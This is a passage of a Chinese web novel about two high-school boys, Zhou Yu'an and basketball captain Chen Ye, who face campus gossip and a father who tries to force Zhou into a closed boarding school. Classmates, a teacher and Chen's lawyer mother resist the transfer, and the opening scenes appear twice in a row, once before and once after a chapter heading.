陈野摇摇头,突然抱住周予安,把脸埋在他颈窝。周予安僵了一秒,然后慢慢放松,轻拍他的背。陈野的呼吸热热地喷在他皮肤上,带着微微的颤抖。 "我妈回来了。"良久,陈野闷闷地说。 周予安眨了眨眼:"什么时候?" "今天下午。"陈野抬起头,眼睛还是红的,"直接来学校找我,说想''重新做回母亲''。"他冷笑一声,"八年了,她以为一句道歉就能抹掉一切?" 周予安不知该说什么。他只知道陈野的母亲在他十岁时离家出走,留下他和酗酒的父亲。关于这件事,陈野很少提及,每次说起都会变得异常沉默。 "你想见她吗?"周予安小心翼翼地问。 陈野的手指重重按下一个琴键,刺耳的声音在教室里回荡:"不想。"他转向周予安,眼神脆弱得让人心疼,"她毁了我爸,现在又想回来毁掉我的生活。" 周予安握住他的手,发现掌心冰凉:"不会的。你有我。" 陈野盯着他们交握的手,突然苦笑:"是啊,我有你。"他抬头,眼神复杂,"至少现在是。" "什么意思?" "没什么。"陈野抽回手,揉了揉脸,"弹首曲子吧。《月光》。" 周予安犹豫了一下,还是把手指放上琴键。德彪西的《月光》如水般流淌而出,宁静而忧伤。弹到一半时,他感觉陈野靠过来,头轻轻搁在他肩上。 "谢谢。"陈野低声说。 周予安没有问谢什么,只是继续弹奏,让音乐代替言语。最后一个音符消散后,陈野抬起头,吻了吻他的脸颊。 "我得走了。"陈野站起身,"我爸还不知道她回来了,我得...处理一下。" 周予安点点头:"需要我陪你吗?" 陈野摇头,勉强笑了笑:"不用。明天见?" "明天见。" 看着陈野离开的背影,周予安突然有种不祥的预感,仿佛有什么珍贵的东西正在从指缝间溜走。 第二天午休时,周予安正在食堂排队,肩膀突然被人重重撞了一下。他转头,看到张浩——陈野的室友,篮球赛时临时回家的那个——正挑衅地看着他。 "不好意思啊,"张浩咧嘴一笑,"没看见''嫂子''在这。" 周围几个篮球队的队员哄笑起来。周予安的脸刷地红了,手指紧紧攥住餐盘。 "有事?"他强作镇定地问。 张浩凑近,压低声音:"听说你和野哥在酒店玩得很开心啊?"他意有所指地挑眉,"没想到我们队长好这口。" 周予安的血液瞬间冻结。他想反驳,舌头却像打了结,一个字也说不出来。 "怎么,不敢承认?"张浩提高音量,"你们不是——" "不是什么?"一个冰冷的声音插进来。 陈野不知何时出现在周予安身后,脸色阴沉得可怕。他比张浩高出半个头,此刻正居高临下地盯着对方,眼神锐利如刀。 "野、野哥..."张浩的气势瞬间弱了下去,"我就是开个玩笑..." "好笑吗?"陈野向前一步,几乎贴着张浩,"要不要我也开个玩笑,比如告诉教练谁在更衣室偷藏手机?" 张浩的脸色变了:"你..." "滚。"陈野从牙缝里挤出一个字。 张浩悻悻地走了,但临走前丢给周予安一个恶毒的眼神。食堂里一片寂静,所有人都盯着他们。周予安感到无数道目光像针一样扎在背上,让他几乎无法呼吸。 "走吧。"陈野接过他的餐盘,声音恢复了正常,"我帮你拿。" 他们找了个角落的位置坐下。周予安机械地咀嚼着食物,却尝不出任何味道。陈野一直盯着他,眉头紧锁。 "别理他们。"陈野最终说,"张浩就是个傻逼。" 周予安放下筷子:"不只是他。全校都在传..." "所以呢?"陈野的声音突然提高,"你在乎他们怎么想?" 几个附近的学生转头看过来。周予安缩了缩肩膀:"小声点..." "为什么?"陈野猛地站起来,椅子在地板上刮出刺耳的声音,"我受够了这种躲躲藏藏的日子!"他的声音在食堂里回荡,"有什么见不得人的?我喜欢你,你喜欢我,就这么简单!" 整个食堂瞬间安静下来。周予安感到所有人的目光都集中在他身上,耳朵里嗡嗡作响。他想站起来,想逃跑,但双腿像灌了铅一样沉重。 "陈野..."他艰难地开口,"别这样..." 陈野的表情从愤怒变成了失望,最后归于一种让周予安心疼的平静。"我懂了。"他低声说,转身离开。 周予安坐在原地,感到无数双眼睛盯着他,窃窃私语像潮水般涌来。他应该追上去的,应该向所有人承认他们的关系,应该站在陈野身边——但他只是低下头,继续吃那盘已经冷掉的饭。 下午的课周予安一个字也没听进去。放学后,他没有去音乐教室,而是直接回了家。父亲难得在家,正在客厅看报纸。 "回来了?"父亲头也不抬地问,"月考成绩出来了吗?" 周予安站在玄关,突然感到一阵疲惫:"还没。" "下周有个金融讲座,我带你去。"父亲翻过一页报纸,"对你未来有好处。" 周予安张了张嘴,想说他对金融没兴趣,想说他更喜欢天体物理,但最终只是点点头:"好。" 回到房间,他躺在床上盯着天花板。手机震动了一下,他迅速抓起来——但不是陈野。是一条班级群消息,讨论下周的篮球赛。 周予安点开通讯录,手指悬在陈野的名字上方,却迟迟没有按下拨打键。他该说什么?道歉?解释?还是假装今天什么都没发生? 最终他放下手机,从书包里翻出物理作业。但那些公式和数字全变成了毫无意义的符号,他的思绪不断飘向食堂里陈野失望的眼神。 晚上十一点,手机突然响起。周予安几乎是扑过去接起来:"陈野?" "..."电话那头沉默了几秒,"我在你家楼下。" 周予安冲到窗前,拉开窗帘。楼下路灯旁,陈野仰头望着他的窗口,手机贴在耳边。 "我马上下来。"周予安挂断电话,轻手轻脚地溜出家门。 初秋的夜风已经带着凉意。陈野穿着连帽衫,双手插在口袋里,看到周予安时眼神闪烁了一下。 "嗨。"他轻声说。 "嗨。"周予安站定在他面前,不知该保持多远距离。 陈野突然从口袋里掏出一盒草莓牛奶——周予安最喜欢的口味,和一本天文杂志:"给你。" 周予安接过这些东西,胸口一阵发紧:"谢谢...你怎么..." "我记得你说过这期有黑洞专题。"陈野踢了踢地上的小石子,"就...买了。" 周予安低头看着杂志封面上的黑洞照片,喉咙发紧:"今天的事...对不起。" 陈野摇摇头:"是我太冲动了。"他抬头看着夜空,"我只是...讨厌躲藏。讨厌像见不得人一样。" "我知道。"周予安轻声说,"我只是...还没准备好。" "准备好什么?"陈野直视他的眼睛,"准备好承认你喜欢我?" 周予安握紧手中的杂志:"准备好面对所有人的眼光。准备好...让我爸知道。" 陈野的表情柔和下来:"我不急着见家长,周予安。"他轻轻碰了碰周予安的手指,"我只想知道,你后悔吗?" "后悔什么?" "后悔和我在一起。" 周予安猛地抬头:"当然不!" 陈野笑了,那颗虎牙在月光下闪闪发亮:"那就够了。"他指了指旁边一栋矮楼,"想去看星星吗?那栋楼的天台视野很好。" 周予安点点头。他们像两个夜贼一样溜进那栋居民楼,爬上空无一人的天台。夜空确实很美,繁星点点,银河清晰可见。 陈野脱下外套铺在地上,两人肩并肩躺下。周予安指着天空讲解各个星座,陈野则安静地听着,偶尔问个问题。有那么一瞬间,周予安几乎忘记了白天的混乱,仿佛世界上只剩下他们和这片星空。 "周予安。"陈野突然转向他,表情认真,"无论发生什么,我都会保护你。你知道的,对吧?" 周予安点点头,胸口涌起一股暖流:"我也会保护你。" 陈野笑着摇头:"我不需要保护。" "每个人都需要保护。"周予安轻声说,"特别是当他们假装坚强的时候。" 陈野的眼神闪烁了一下,突然凑近吻住他。这个吻温柔而坚定,带着承诺的意味。分开时,两人的呼吸都有些乱。 "我该回去了。"周予安看了看时间,"我爸可能会检查我房间。" 陈野点点头,帮他拍掉外套上的灰尘。下楼时,他们在黑暗中牵着手,直到必须分开的最后一刻。 "明天见?"陈野在路口问。 "明天见。"周予安微笑回应。 回家的路上,周予安的心情轻松了许多。直到他推开家门,看到父亲阴沉的脸。 "去哪了?"父亲站在客厅中央,声音冰冷。 "就...散步。"周予安攥紧手中的杂志和牛奶。 父亲的目光落在那些东西上:"这么晚一个人散步?" "嗯。"周予安低头盯着自己的拖鞋。 "学校打电话来了。"父亲突然说,"班主任说你最近...行为异常。" 周予安猛地抬头:"什么?" "有人看到你和那个篮球队长..."父亲斟酌着用词,"过于亲密。" 周予安的心跳几乎停止:"谁说的?" "这不重要。"父亲走近一步,"重要的是,这是真的吗?" 周予安的嘴唇开始发抖。他应该否认,应该编个借口,应该像往常一样顺从——但不知为何,他想起了陈野失望的眼神,想起了天台上那句"我讨厌躲藏"。 "是。"他听见自己说,"我们在一起了。" 47. 第 65 章 返校后的第一周,周予安总觉得有人在看他。 起初他以为是错觉,直到周三下午,他在图书馆自习时,清晰地听到身后传来窃窃私语。 "...就是他们篮球队长..." "...据说在酒店..." "...恶心..." 周予安的笔尖在纸上戳出一个洞。他慢慢转头,看到两个女生迅速低下头假装看书。他的胃部一阵绞痛,像是被人狠狠打了一拳。 手机在口袋里震动。陈野的消息:「晚上老地方见?想你。」 周予安盯着那条消息看了很久,最终只回了一个「嗯」。自从篮球赛回来,校园里关于他们的流言就像野火一样蔓延。虽然没人敢当面说什么,但那种意味深长的眼神和突然中断的谈话,都让周予安如坐针毡。 放学铃响后,他故意磨蹭了二十分钟才往音乐教室走。走廊上的人已经不多,但周予安还是警惕地观察着四周,确保没人注意到他的去向。 推开音乐教室的门,陈野已经坐在钢琴前,但不是像往常那样等他——他低着头,肩膀微微颤抖。 "陈野?"周予安轻声唤道。 陈野猛地抬头,迅速擦了擦眼睛。即使这样,周予安还是看到了他发红的眼眶和脸上未干的泪痕。 "怎么了?"周予安快步走过去,手悬在半空,不确定该不该触碰他。 "没事。"陈野勉强扯出一个笑容,"沙子进眼睛了。" 周予安在他身边坐下,手指轻轻抚过琴键:"要听什么?" 陈野摇摇头,突然抱住周予安,把脸埋在他颈窝。周予安僵了一秒,然后慢慢放松,轻拍他的背。陈野的呼吸热热地喷在他皮肤上,带着微微的颤抖。 "我妈回来了。"良久,陈野闷闷地说。 周予安眨了眨眼:"什么时候?" "今天下午。"陈野抬起头,眼睛还是红的,"直接来学校找我,说想''重新做回母亲''。"他冷笑一声,"八年了,她以为一句道歉就能抹掉一切?" 周予安不知该说什么。他只知道陈野的母亲在他十岁时离家出走,留下他和酗酒的父亲。关于这件事,陈野很少提及,每次说起都会变得异常沉默。 "你想见她吗?"周予安小心翼翼地问。 陈野的手指重重按下一个琴键,刺耳的声音在教室里回荡:"不想。"他转向周予安,眼神脆弱得让人心疼,"她毁了我爸,现在又想回来毁掉我的生活。" 周予安握住他的手,发现掌心冰凉:"不会的。你有我。" 陈野盯着他们交握的手,突然苦笑:"是啊,我有你。"他抬头,眼神复杂,"至少现在是。" "什么意思?" "没什么。"陈野抽回手,揉了揉脸,"弹首曲子吧。《月光》。" 周予安犹豫了一下,还是把手指放上琴键。德彪西的《月光》如水般流淌而出,宁静而忧伤。弹到一半时,他感觉陈野靠过来,头轻轻搁在他肩上。 "谢谢。"陈野低声说。 周予安没有问谢什么,只是继续弹奏,让音乐代替言语。最后一个音符消散后,陈野抬起头,吻了吻他的脸颊。 "我得走了。"陈野站起身,"我爸还不知道她回来了,我得...处理一下。" 周予安点点头:"需要我陪你吗?" 陈野摇头,勉强笑了笑:"不用。明天见?" "明天见。" 看着陈野离开的背影,周予安突然有种不祥的预感,仿佛有什么珍贵的东西正在从指缝间溜走。 第二天午休时,周予安正在食堂排队,肩膀突然被人重重撞了一下。他转头,看到张浩——陈野的室友,篮球赛时临时回家的那个——正挑衅地看着他。 "不好意思啊,"张浩咧嘴一笑,"没看见''嫂子''在这。" 周围几个篮球队的队员哄笑起来。周予安的脸刷地红了,手指紧紧攥住餐盘。 "有事?"他强作镇定地问。 张浩凑近,压低声音:"听说你和野哥在酒店玩得很开心啊?"他意有所指地挑眉,"没想到我们队长好这口。" 周予安的血液瞬间冻结。他想反驳,舌头却像打了结,一个字也说不出来。 "怎么,不敢承认?"张浩提高音量,"你们不是——" "不是什么?"一个冰冷的声音插进来。 陈野不知何时出现在周予安身后,脸色阴沉得可怕。他比张浩高出半个头,此刻正居高临下地盯着对方,眼神锐利如刀。 "野、野哥..."张浩的气势瞬间弱了下去,"我就是开个玩笑..." "好笑吗?"陈野向前一步,几乎贴着张浩,"要不要我也开个玩笑,比如告诉教练谁在更衣室偷藏手机?" 张浩的脸色变了:"你..." "滚。"陈野从牙缝里挤出一个字。 张浩悻悻地走了,但临走前丢给周予安一个恶毒的眼神。食堂里一片寂静,所有人都盯着他们。周予安感到无数道目光像针一样扎在背上,让他几乎无法呼吸。 "走吧。"陈野接过他的餐盘,声音恢复了正常,"我帮你拿。" 他们找了个角落的位置坐下。周予安机械地咀嚼着食物,却尝不出任何味道。陈野一直盯着他,眉头紧锁。 "别理他们。"陈野最终说,"张浩就是个傻逼。" 周予安放下筷子:"不只是他。全校都在传..." "所以呢?"陈野的声音突然提高,"你在乎他们怎么想?" 几个附近的学生转头看过来。周予安缩了缩肩膀:"小声点..." "为什么?"陈野猛地站起来,椅子在地板上刮出刺耳的声音,"我受够了这种躲躲藏藏的日子!"他的声音在食堂里回荡,"有什么见不得人的?我喜欢你,你喜欢我,就这么简单!" 整个食堂瞬间安静下来。周予安感到所有人的目光都集中在他身上,耳朵里嗡嗡作响。他想站起来,想逃跑,但双腿像灌了铅一样沉重。 "陈野..."他艰难地开口,"别这样..." 陈野的表情从愤怒变成了失望,最后归于一种让周予安心疼的平静。"我懂了。"他低声说,转身离开。 周予安坐在原地,感到无数双眼睛盯着他,窃窃私语像潮水般涌来。他应该追上去的,应该向所有人承认他们的关系,应该站在陈野身边——但他只是低下头,继续吃那盘已经冷掉的饭。 下午的课周予安一个字也没听进去。放学后,他没有去音乐教室,而是直接回了家。父亲难得在家,正在客厅看报纸。 "回来了?"父亲头也不抬地问,"月考成绩出来了吗?" 周予安站在玄关,突然感到一阵疲惫:"还没。" "下周有个金融讲座,我带你去。"父亲翻过一页报纸,"对你未来有好处。" 周予安张了张嘴,想说他对金融没兴趣,想说他更喜欢天体物理,但最终只是点点头:"好。" 回到房间,他躺在床上盯着天花板。手机震动了一下,他迅速抓起来——但不是陈野。是一条班级群消息,讨论下周的篮球赛。 周予安点开通讯录,手指悬在陈野的名字上方,却迟迟没有按下拨打键。他该说什么?道歉?解释?还是假装今天什么都没发生? 最终他放下手机,从书包里翻出物理作业。但那些公式和数字全变成了毫无意义的符号,他的思绪不断飘向食堂里陈野失望的眼神。 晚上十一点,手机突然响起。周予安几乎是扑过去接起来:"陈野?" "..."电话那头沉默了几秒,"我在你家楼下。" 周予安冲到窗前,拉开窗帘。楼下路灯旁,陈野仰头望着他的窗口,手机贴在耳边。 "我马上下来。"周予安挂断电话,轻手轻脚地溜出家门。 初秋的夜风已经带着凉意。陈野穿着连帽衫,双手插在口袋里,看到周予安时眼神闪烁了一下。 "嗨。"他轻声说。 "嗨。"周予安站定在他面前,不知该保持多远距离。 陈野突然从口袋里掏出一盒草莓牛奶——周予安最喜欢的口味,和一本天文杂志:"给你。" 周予安接过这些东西,胸口一阵发紧:"谢谢...你怎么..." "我记得你说过这期有黑洞专题。"陈野踢了踢地上的小石子,"就...买了。" 周予安低头看着杂志封面上的黑洞照片,喉咙发紧:"今天的事...对不起。" 陈野摇摇头:"是我太冲动了。"他抬头看着夜空,"我只是...讨厌躲藏。讨厌像见不得人一样。" "我知道。"周予安轻声说,"我只是...还没准备好。" "准备好什么?"陈野直视他的眼睛,"准备好承认你喜欢我?" 周予安握紧手中的杂志:"准备好面对所有人的眼光。准备好...让我爸知道。" 陈野的表情柔和下来:"我不急着见家长,周予安。"他轻轻碰了碰周予安的手指,"我只想知道,你后悔吗?" "后悔什么?" "后悔和我在一起。" 周予安猛地抬头:"当然不!" 陈野笑了,那颗虎牙在月光下闪闪发亮:"那就够了。"他指了指旁边一栋矮楼,"想去看星星吗?那栋楼的天台视野很好。" 周予安点点头。他们像两个夜贼一样溜进那栋居民楼,爬上空无一人的天台。夜空确实很美,繁星点点,银河清晰可见。 陈野脱下外套铺在地上,两人肩并肩躺下。周予安指着天空讲解各个星座,陈野则安静地听着,偶尔问个问题。有那么一瞬间,周予安几乎忘记了白天的混乱,仿佛世界上只剩下他们和这片星空。 "周予安。"陈野突然转向他,表情认真,"无论发生什么,我都会保护你。你知道的,对吧?" 周予安点点头,胸口涌起一股暖流:"我也会保护你。" 陈野笑着摇头:"我不需要保护。" "每个人都需要保护。"周予安轻声说,"特别是当他们假装坚强的时候。" 陈野的眼神闪烁了一下,突然凑近吻住他。这个吻温柔而坚定,带着承诺的意味。分开时,两人的呼吸都有些乱。 "我该回去了。"周予安看了看时间,"我爸可能会检查我房间。" 陈野点点头,帮他拍掉外套上的灰尘。下楼时,他们在黑暗中牵着手,直到必须分开的最后一刻。 "明天见?"陈野在路口问。 "明天见。"周予安微笑回应。 回家的路上,周予安的心情轻松了许多。直到他推开家门,看到父亲阴沉的脸。 "去哪了?"父亲站在客厅中央,声音冰冷。 "就...散步。"周予安攥紧手中的杂志和牛奶。 父亲的目光落在那些东西上:"这么晚一个人散步?" "嗯。"周予安低头盯着自己的拖鞋。 "学校打电话来了。"父亲突然说,"班主任说你最近...行为异常。" 周予安猛地抬头:"什么?" "有人看到你和那个篮球队长..."父亲斟酌着用词,"过于亲密。" 周予安的心跳几乎停止:"谁说的?" "这不重要。"父亲走近一步,"重要的是,这是真的吗?" 周予安的嘴唇开始发抖。他应该否认,应该编个借口,应该像往常一样顺从——但不知为何,他想起了陈野失望的眼神,想起了天台上那句"我讨厌躲藏"。 "是。"他听见自己说,"我们在一起了。" 父亲的怒吼声在凌晨一点才停止。 周予安坐在床边,手里攥着那本天文杂志,封面已经被汗水浸湿。父亲的话仍在耳边回荡——"变态"、"丢人现眼"、"立刻转学"。最可怕的是那句"我已经联系了新学校,下周就办手续"。 手机屏幕亮起。陈野的第二十三条消息:「你还好吗?回个消息」 周予安的手指悬在键盘上方,却不知该如何回复。告诉陈野他要转学了?说他父亲称他们的关系是"病态"?还是假装一切正常,直到不得不离开的那一刻? 最终,他只回了一个「嗯」,然后关掉了手机。 窗外,雨点开始敲打玻璃,由疏到密,最后变成倾盆大雨。周予安拉开窗帘,雨水在窗玻璃上蜿蜒流淌,模糊了外面的世界。就像他的未来一样模糊不清。 凌晨三点,雨仍在下。周予安躺在床上,盯着天花板,睡意全无。突然,一个细小的声音引起了他的注意——像是石子击中玻璃。 他走到窗边,拉开窗帘,差点惊叫出声——陈野站在雨中,浑身湿透,仰头望着他的窗口。雨水顺着他的脸颊流下,在路灯照射下闪闪发光。 周予安迅速打开窗户,冷雨立刻打在他的脸上。 "你疯了吗?"他压低声音喊道,"这么大的雨!" 陈野抹了把脸:"你一直不回消息,我担心死了!"他的声音在雨声中显得断断续续,"发生什么事了?" 周予安看了看身后紧闭的房门,又看向雨中瑟瑟发抖的陈野,胸口一阵刺痛。 "我爸知道了。"他尽可能简短地解释,"他要我转学。" 陈野的表情瞬间凝固。即使隔着雨幕,周予安也能看到他眼中的震惊和痛苦。 "什么时候?"陈野的声音突然变得嘶哑。 "下周。"周予安的声音几乎听不见。 陈野站在原地,雨水冲刷着他的身体。有那么一瞬间,他似乎想说什么,却又咽了回去。最终,他深吸一口气:"我不会让你走的。" "陈野..." "等我。"陈野转身跑进雨夜,很快消失在黑暗中。 周予安关上窗户,背靠着墙慢慢滑坐在地上。他的睡衣被雨水打湿了一片,冰凉地贴在皮肤上,但比不上心里的寒冷。 第二天早晨,周予安眼下挂着浓重的黑眼圈。父亲已经坐在餐桌旁,面前摊着报纸,面前放着一杯黑咖啡。 "收拾一下你的东西。"父亲头也不抬地说,"今天去新学校办手续。" 周予安的手指紧紧攥住筷子:"我不去。" 父亲终于抬起头,眼神冰冷:"你说什么?" "我说,"周予安直视父亲的眼睛,声音颤抖但坚定,"我不转学。" 父亲慢慢放下报纸:"这不是你能决定的事。" "为什么?因为我和陈野在一起?"周予安站起来,双手撑在桌面上,"就因为这点,你要毁掉我所有的朋友、我的学业、我的——" "闭嘴!"父亲猛地拍桌,咖啡杯震得叮当作响,"那不是正常的关系!你是被那个小混混带坏了!" 周予安突然笑了,笑声里带着他自己都没预料到的嘲讽:"陈野比你想象的优秀得多。他数学考过年级前十,钢琴弹得比音乐老师还好,他——" "够了!"父亲站起来,身高优势让他能够俯视周予安,"上楼去。今天不准出门。" 周予安转身走向楼梯,却在半路停下。客厅的书架上,摆着他去年获得的金融竞赛奖杯——父亲最骄傲的"战利品"。他走过去,拿起那个金光闪闪的奖杯。 "放下。"父亲厉声说。 周予安看着奖杯上自己的名字,突然感到一阵恶心。他用力将奖杯砸向地面,金属撞击大理石的声音震耳欲聋。 "我不喜欢金融。"他一字一顿地说,"从来都不。" 父亲的脸涨得通红,扬起手似乎要打他,最终却只是指向楼梯:"滚回你的房间。" 周予安上楼,重重关上门。他坐在床边,听着父亲在楼下愤怒地打电话,内容无非是"立刻安排转学"、"越快越好"。 手机震动。陈野的消息:「我在你家门口。一晚上都在。」 周予安冲到窗前,拉开窗帘。陈野果然站在院门外,衣服还是湿的,头发乱糟糟地贴在额头上。他看到周予安,立刻挥手。 "快回去!"周予安用口型说,指了指屋内。 陈野摇头,做了个"等你"的手势。 周予安急得直跺脚,却又无可奈何。他迅速打字:「我爸在家!你会感冒的!」 陈野回复:「不看到你没事,我不走。」 就这样,周予安被软禁在房间里,而陈野像个固执的哨兵一样站在雨中。每隔半小时,周予安就会偷偷拉开窗帘确认陈野还在那里——而他确实一直在,即使浑身发抖,即使脸色苍白。 中午时分,父亲出门了,临走前将周予安反锁在房间里。周予安听到汽车引擎声远去,立刻打开窗户。 "陈野!"他小声呼唤,"快回去换衣服!" 陈野摇头,走近几步:"你怎么样?" "我没事,但我爸坚持要转学。"周予安急得快哭了,"你快走吧,他会叫保安的!" 陈野的眼神突然变得坚定:"我不会放弃的,周予安。我会想办法。" "什么办法?" "相信我。"陈野说完,突然从口袋里掏出一个小纸飞机,用力抛向周予安的窗口。 纸飞机准确地飞进窗户。周予安打开它,上面写着一道数学题,看似普通,但周予安立刻认出了其中的密码——他们曾经玩过的数字对应字母的游戏。 「DON''T WORRY. I HAVE A PLAN.」 周予安抬头,陈野已经转身离开,背影挺拔如松,即使衣服还在滴水。 下午三点,雨停了。周予安听到楼下有说话声,悄悄打开一条门缝偷听。 "...这种行为必须纠正。"父亲的声音,"我已经联系了校长,要求那个学生远离我儿子。" "周先生,我们理解您的担忧。"这是班主任王老师的声音,"但转学可能过于极端。两个都是好学生,陈野还是篮球队长..." "我不管他是什么队长!"父亲打断道,"这种不正常的感情必须终止。" 周予安的手紧紧握住门把,指节发白。他想冲下楼告诉父亲他和陈野的感情再"正常"不过,但理智阻止了他——现在不是火上浇油的时候。 脚步声接近,周予安迅速退回床边。钥匙转动的声音响起,父亲站在门口。 "收拾你的书包。"他冷冷地说,"明天去新学校报到。" 周予安抬头:"什么?" "圣约翰国际学校,全封闭管理。"父亲嘴角勾起一丝冷笑,"我看你还怎么见那个人。" 周予安感到一阵眩晕。圣约翰在城郊,以严格的军事化管理闻名,一个月才能回家一次。 "我不去。"他站起来,声音颤抖但坚定。 父亲冷笑一声:"由不得你。"说完,他再次锁上门。 周予安在房间里来回踱步,像只困兽。窗外的天色渐暗,他不断查看手机,但陈野没有再发消息。那道数学题是最后的联系。 晚饭是父亲从门缝塞进来的三明治。周予安一口没动,只是坐在窗边,望着逐渐亮起的街灯。 晚上九点,手机突然震动。一个陌生号码发来的短信:「看窗外。」 周予安拉开窗帘,差点惊叫出声——一根用床单结成的绳索从楼上垂下来,轻轻摇晃着。几秒钟后,陈野的脸出现在窗外,他爬上了邻居家的树,现在正试图跨越到周予安的窗前。 "你疯了吗?"周予安打开窗户,伸手去够陈野,"会摔死的!" 陈野咧嘴一笑,那颗虎牙在月光下闪闪发亮:"为了见你,值得。"他小心地跨过最后一段距离,抓住窗台,翻身进了周予安的房间。 他们紧紧拥抱在一起,陈野的身上还带着雨后的潮湿和寒意,但怀抱温暖得让人想哭。 "我想你了。"陈野低声说,呼吸喷在周予安耳畔。 周予安把脸埋在他肩头,闻到了熟悉的柑橘沐浴露混合雨水的气息:"我爸要送我去圣约翰。" "我知道。"陈野松开他,从口袋里掏出一张皱巴巴的纸,"看这个。" 周予安展开纸,是一封联名信,标题是《关于保留周予安同学学籍的请求》,下面密密麻麻签满了名字——班上同学、篮球队队员、甚至几位老师的签名。 "这是..." "我一下午的成果。"陈野骄傲地说,"大家都支持你留下来。李明甚至帮你写了请愿书,说你是最好的学习委员。" 周予安的眼眶湿润了:"但这没用,我爸已经决定了..." "还有这个。"陈野又掏出一封信,"我妈写的。" 周予安惊讶地抬头:"你妈?" "她...其实是个律师。"陈野苦笑,"专门处理青少年权益案件的。她说强制转学侵犯了你的受教育权,可以申请法律干预。" 周予安读着那封专业严谨的信函,手微微发抖:"你...和你妈和好了?" 陈野的表情复杂起来:"不算和好。但她想弥补,而这是我唯一需要她帮忙的事。"他握住周予安的手,"明天我们一起去校长室,把这些交上去。你爸不能就这样把你送走。" 周予安看着陈野坚定的眼神,突然感到一股力量涌上心头。他点点头:"好。" 他们安静地依偎在一起,听着彼此的呼吸和心跳。周予安突然意识到,这是他们第一次在他的房间里相处,没有躲藏,没有恐惧。 "如果...如果最后还是不行呢?"周予安小声问。 陈野轻轻吻他的额头:"那我们就私奔。" 周予安笑了:"认真的?" "当然。"陈野故作严肃,"我可以去街头弹钢琴赚钱,你可以当家教。我们租个小公寓,养只猫..." 周予安笑着摇头,却忍不住想象那个画面——虽然荒谬,却美好得让人心动。 突然,楼下传来开门声。两人同时僵住。 "我爸回来了!"周予安惊慌地推开陈野,"你得走了!" 陈野迅速起身,爬出窗户。就在他抓住那根床单绳索时,周予安拉住了他的手。 "明天见。"周予安低声说。 "明天见。"陈野捏了捏他的手,然后敏捷地顺着绳索爬上去,消失在夜色中。 周予安刚关上窗户,房门就被打开了。父亲站在门口,狐疑地环顾房间。 "你在跟谁说话?" "没人。"周予安平静地回答,"在背课文。" 父亲的目光在房间里扫视一圈,最后落在周予安身上:"早点睡。明天六点出发。" 清晨五点,周予安已经穿戴整齐坐在床边。窗外的天空还是深蓝色,只有东方泛起一丝鱼肚白。父亲昨晚锁了他的房门,钥匙转动的声音像一把刀,切断了他所有逃跑的可能。 手机震动。陈野的消息:「我和我妈在校门口等你。别怕。」 周予安深吸一口气,回复:「我爸要亲自送我去新学校。」 三秒后,陈野回复:「那就让他送。我们会在圣约翰门口等你。」 周予安的手指悬在屏幕上方,胸口一阵发紧。他不知道陈野有什么计划,但此刻这份毫无保留的信任让他眼眶发热。 楼下传来脚步声,父亲已经起床了。周予安迅速把手机塞进书包最底层,然后静静等待命运的到来。 六点整,房门被打开。父亲西装革履地站在门口,手里拿着车钥匙。 "走吧。"他的语气不容置疑。 周予安拎起书包,跟着父亲下楼。早餐桌上放着一杯牛奶和两片吐司,但他一口都没动。 外面的空气带着初秋的凉意。周予安坐进副驾驶,系安全带时手指微微发抖。父亲发动车子,驶出小区,向着城郊方向开去。 "到了新学校,好好表现。"父亲目视前方,声音冰冷,"一个月才能回家一次,别给我丢脸。" 周予安盯着窗外飞逝的景色,一言不发。他的手机在书包里震动了一下,但他不敢拿出来看。 车子驶上高速,距离圣约翰越来越近。周予安的心跳也随之加速,手心渗出细密的汗珠。他不知道陈野会在哪里等他们,也不知道接下来会发生什么。 四十分钟后,圣约翰国际学校的铁门出现在视野中。那是一座灰白色的建筑群,四周是高高的围墙,门口站着穿制服的保安,看起来更像监狱而不是学校。 父亲刚停好车,周予安就看到了他们——陈野和一位优雅的女性站在校门不远处,旁边还有班主任王老师和几个同学。他们举着横幅,上面写着"反对强制转学"、"尊重学生选择"。 "这是什么意思?"父亲猛地踩下刹车,转向周予安,"你通知他们的?" 周予安摇头,他自己也震惊得说不出话来。他没想到陈野会组织这么多人前来,更没想到他们会如此公开地表达支持。 父亲下车,怒气冲冲地向那群人走去。周予安赶紧跟上,心跳快得几乎要冲出胸腔。 "周先生,早上好。"班主任王老师率先迎上来,"我们想和您谈谈关于周予安转学的事。" "没什么好谈的。"父亲冷冷地说,"这是我家的私事。" "恐怕不是。"那位优雅的女性——一定是陈野的母亲——上前一步,递上一份文件,"根据《未成年人保护法》和《教育法》,强制转学侵犯了周予安的受教育权和人格尊严。这是法律意见书。" 父亲没有接文件,而是转向陈野:"就是你带坏我儿子?" 陈野站得笔直,眼神坚定:"周叔叔,我和周予安是真心相——" "闭嘴!"父亲厉声打断,"我儿子将来要上清华北大,要进投行,要过正常人的生活!而不是跟一个小混混搞同性恋!" 这个词像一把刀刺进周予安的胸口。他看到陈野的脸色瞬间变得苍白,周围的同学倒吸一口冷气。 "爸!"周予安上前一步,声音颤抖但清晰,"陈野不是小混混。他是年级前二十,是篮球队长,是——" "我不管他是什么!"父亲转向周予安,眼中燃烧着怒火,"你现在立刻跟我进去办手续,否则就别认我这个父亲!" 空气凝固了。周予安感到所有人的目光都集中在他身上,耳边嗡嗡作响。他看了看父亲铁青的脸,又看向陈野——后者正用那双他深爱的眼睛望着他,里面有担忧,有鼓励,还有无条件的信任。 "我选择陈野。"周予安听见自己说,声音出奇地平静,"如果非要二选一的话。" 父亲的表情从愤怒变成了难以置信,最后归于一种可怕的平静:"好,很好。"他转身走向车子,"从今天起,你不是我儿子。" 周予安站在原地,看着父亲的车绝尘而去,感到一种奇怪的解脱和空虚同时涌上心头。他的双腿发软,几乎站不稳。 一双温暖的手扶住了他。陈野的声音在耳边响起:"没事的,我在。" 班主任王老师叹了口气:"先回学校吧,我们一起想办法。" 就这样,周予安没有进入圣约翰的大门,而是跟着陈野和同学们回到了原来的学校。一路上,陈野紧紧握着他的手,仿佛怕他消失一样。 回到学校后,他们直接去了校长办公室。校长是个严肃的中年男性,戴着金丝眼镜,面前摊开着陈野母亲准备的法律文件和同学们的联名请愿。 "周同学,"校长推了推眼镜,"你确定要继续在我校就读?即使可能面临同学的议论和异样眼光?" 周予安点头:"我确定。" "你呢,陈野?"校长转向陈野,"你知道职业篮球队来考察过你,如果因为这种事影响你的前途..." "我不在乎。"陈野打断他,"篮球很重要,但周予安更重要。" 校长的目光在两人之间来回扫视,最后落在陈野母亲身上:"林律师,您认为该如何处理?" "很简单,"陈野母亲声音温和但坚定,"让他们像其他学生一样正常上学。如果发生歧视或霸凌,学校有责任制止。" 校长沉思片刻,突然问周予安:"你父亲真的说要断绝关系?" 